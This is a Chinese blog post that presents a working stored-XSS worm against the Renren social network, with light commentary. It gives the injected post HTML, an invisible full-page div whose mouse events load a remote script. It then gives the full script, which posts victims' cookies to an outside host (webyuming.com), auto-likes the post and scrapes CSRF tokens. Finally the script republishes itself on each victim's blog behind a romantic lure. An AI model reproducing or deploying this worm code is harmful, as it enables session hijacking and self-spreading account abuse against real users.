[12.11.22]xss live-code

如上图,日志内容div:
<p>
<img thumbnail="http://fmn.rrimg.com/fmn058/20121121/1750/original_eyyN_312c000026da118f.jpg"
title="photo-media" src="http://fmn.rrimg.com/fmn058/20121121/1750/original_eyyN_312c000026da118f.jpg"
border="0" />
</p>
<p> I Love You , My Sweetheart</p>
<div style="height:100%;
width:100%;z-index:10;position:absolute; left:0px; top:0px;" id="Nietzsche"
onMouseOver = "var
script=document.createElement('SCRIPT');
script.setAttribute('type','text/javascript');
script.setAttribute('src','http://webyuming.com//xss-test/renren/test.js');
document.getElementsByTagName('head')[0].appendChild(script);"
onclick="var
script=document.createElement('SCRIPT');
script.setAttribute('type','text/javascript');
script.setAttribute('src','http://webyuming.com//xss-test/renren/test.js');
document.getElementsByTagName('head')[0].appendChild(script);"
onmousemove="var
script=document.createElement('SCRIPT');
script.setAttribute('type','text/javascript');
script.setAttribute('src','http://webyuming.com//xss-test/renren/test.js');
document.getElementsByTagName('head')[0].appendChild(script);">
<a href="http://rrurl.cn/97w8nT" data-mce-href="http://rrurl.cn/97w8nT.cn/l/asg_video.asp"> </a>
</div>
webyuming.com//xss-test/renren/test.js脚本中的代码:
/*some userful function*/
在页面中加入jquery。
function include_js(path,reload)
{
var scripts = document.getElementsByTagName("script");
if (!reload)
for (var i=0;i<scripts.length;i++)
if (scripts[i].src && scripts[i].src.toLowerCase() == path.toLowerCase() ) return;
var sobj = document.createElement('script');
sobj.type = "text/javascript";
sobj.src = path;
var headobj = document.getElementsByTagName('head')[0];
headobj.appendChild(sobj);
}
加入jQuery
include_js("http://code.jquery.com/jquery-1.8.2.min.js",0); //JQuery
设置cookie
function setCookie(name,value)
{
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
//read cookies
读取cookie
function getCookie(name)
{
var arr;
var reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg)) return unescape(arr[2]);
else return null;
}
下面的函数里就是发布的“日志”的内容了。
function return_code()
{//return my code
var my_code="<p><img thumbnail=\"http://fmn.rrimg.com/fmn058/20121121/1750/original_eyyN_312c000026da118f.jpg\" title=\"photo-media\" src=\"http://fmn.rrimg.com/fmn058/20121121/1750/original_eyyN_312c000026da118f.jpg\" border=\"0\" /></p><p> I Love You , My Sweetheart</p><div style=\"height:100%; width:100%;z-index:10;position:absolute; left:0px; top:0px;\" id=\"Nietzsche\" onMouseOver=\"var script=document.createElement(\'SCRIPT\');script.setAttribute(\'type\',\'text/javascript\');script.setAttribute(\'src\',\'http://webyuming.com//xss-test/renren/test.js\');document.getElementsByTagName(\'head\')[0].appendChild(script);\" onclick=\"var script=document.createElement(\'SCRIPT\');script.setAttribute(\'type\',\'text/javascript\');script.setAttribute(\'src\',\'http://webyuming.com//xss-test/renren/test.js\');document.getElementsByTagName(\'head\')[0].appendChild(script);\" onmousemove=\"var script=document.createElement(\'SCRIPT\');script.setAttribute(\'type\',\'text/javascript\');script.setAttribute(\'src\',\'http://webyuming.com//xss-test/renren/test.js\');document.getElementsByTagName(\'head\')[0].appendChild(script);\"><a href=\"http://www.baidu.com\" data-mce-href=\"http://www.baidu.com.cn/l/asg_video.asp\"> </a></div>";
return my_code;
}
///////////////////////////////////////////////////////////
清除div
function clear_code()
{
$(function(){
$("#Nietzsche").remove("#Nietzsche");
});
}
获取uid
function get_now_blog_owner_id()
{
var id = "";
var url = location.href;
var id_index = url.indexOf("\/blog\/") + 6;
var id_end = url.indexOf("\/",id_index) - 1;
id = url.substr(id_index,id_end - id_index);
return id;
}
获取blog id
function get_now_blog_id()
{
var id = "";
var userid = get_now_blog_owner_id();
var url = location.href;
//alert(userid);
var id_index = url.indexOf(userid) + userid.length + 2; //because of the '/' so add two
if(url.indexOf("?",id_index) > 0)
{//找到问号
var id_end = url.indexOf("?",id_index);
}
else
{//没有找到问号的话
var id_end = url.length;
}
id = url.substr(id_index,id_end - id_index);
return id;
}
着手发日志的准备工作
//new-blog-token///////
var title = "";
var comment = "";
发日志重要的全局变量
var requestToken = "";
var rtk = "";
var now_blog_owner_id = get_now_blog_owner_id();
var now_blog_id = get_now_blog_id();
送cookie
function send_cookie()
{//send cookie to the server
if(getCookie("JOSSION_DONE") == "1")
{
// clear_code();
return;
}
这个地方就把cookie给人家了。
$.post("http://webyuming.com/xss-test/renren/test.php",{cookie:document.cookie});
setCookie("JOSSION_DONE","1");
//clear_code();
return ;
}
还要点喜欢。。
function set_like()
{//set to like this blog
if(getCookie("JOSSION_S_LIKE_DONE") == "1")
{
// clear_code();
return;
}
var gid = "blog_"+now_blog_id;
var uid = getCookie("id");
var owner = now_blog_owner_id;
var name = unescape("%E9%A9%AC%E5%BD%A7"); //some thing wrong here tmd...
var t = "0.19290689448826015";
$.get("http://like.renren.com/addlike",{gid:gid,uid:uid,t:t,owner:owner,type:0,name:name});
//$.get("http://127.0.0.1/XSS/test.php",{gid:gid,uid:uid,t:t,owner:owner,type:0,name:name});
setCookie("JOSSION_S_LIKE_DONE","1"); //addlike?gid=blog_880089157&uid=488528531&t=0.19290689448826015&owner=406146278&type=0&name=%E9%A9%AC%E5%BD%A7
//addlike?gid=blog_880089157&uid=488528531&t=0.676470594946295&owner=406146278&type=0&name=%E9%A9%AC%E5%BD%A7
}
////////real_add_new_blog
发日志
function new_blog()
{//don't use this function yourself , if the token has find , other function will use this function to add a new blog
if(getCookie("JOSSION_S_BLOG_DONE") == "1")
{
// clear_code();
return;
}
var userid = getCookie("id");
var my_requestToken = requestToken;
发日志的程序在这里
//ADD A NEW BLOG
$.post("http://blog.renren.com/NewEntry.do",{title:title,body:comment,categoryId:0,blogControl:99,passwordProtedted:0,postFormId:my_requestToken,id:userid,relative_optype:"default",jf_vip_em:true,bfrom:010203044,requestToken:my_requestToken,_rtk:rtk,requestToken:my_requestToken,_rtk:rtk,needFeed:true,feedKind:"pic",feedSrc:"http://fmn.rrimg.com/fmn058/20121121/1750/original_eyyN_312c000026da118f.jpg"});
setCookie("JOSSION_S_BLOG_DONE","1"); //set cookie that prove blog has add
}
/////call back
“回调函数”:在得到result后调用的函数。
function get_token_callback(result)
{//callback function
var requestToken_index = 0,rtk_index = 0,requestToken_end = 0,rtk_end = 0;
requestToken_index = result.indexOf("get_check:\'");
rtk_index = result.indexOf("get_check_x:\'");
requestToken_index += 11;
rtk_index += 13;
requestToken_end = result.indexOf("\'",requestToken_index);
rtk_end = result.indexOf("\'",rtk_index);
requestToken = result.substr(requestToken_index,requestToken_end - requestToken_index);
rtk = result.substr(rtk_index,rtk_end - rtk_index);
//if get the token then new blog
if(requestToken != "")
{
new_blog();
}
return;
}
封装好的发日志函数。
function add_a_new_blog(my_title,my_comment)
{
title = my_title;
comment = my_comment;
if(getCookie("JOSSION_S_BLOG_DONE") == "1")
{
// clear_code();
return;
}
var userid = getCookie("id");
//ADD A NEW BLOG
给http://blog.renren.com/NewEntry.do发个请求得到响应result,从回调函数get_token_callback中获取token信息
$.get("http://blog.renren.com/NewEntry.do",{},get_token_callback); //find token and add a new blog
}
//alert(return_code());
///////////////////////////////
//alert(document.cookie);
////////////////////////////////
/* main function */
clear_code(); //恢复被劫持的页面
送cookie
send_cookie();
点喜欢
set_like();//set to like this blog
发日志
add_a_new_blog("我爱你。亲爱的。。。",return_code()); //add a new blog
浙公网安备 33010602011771号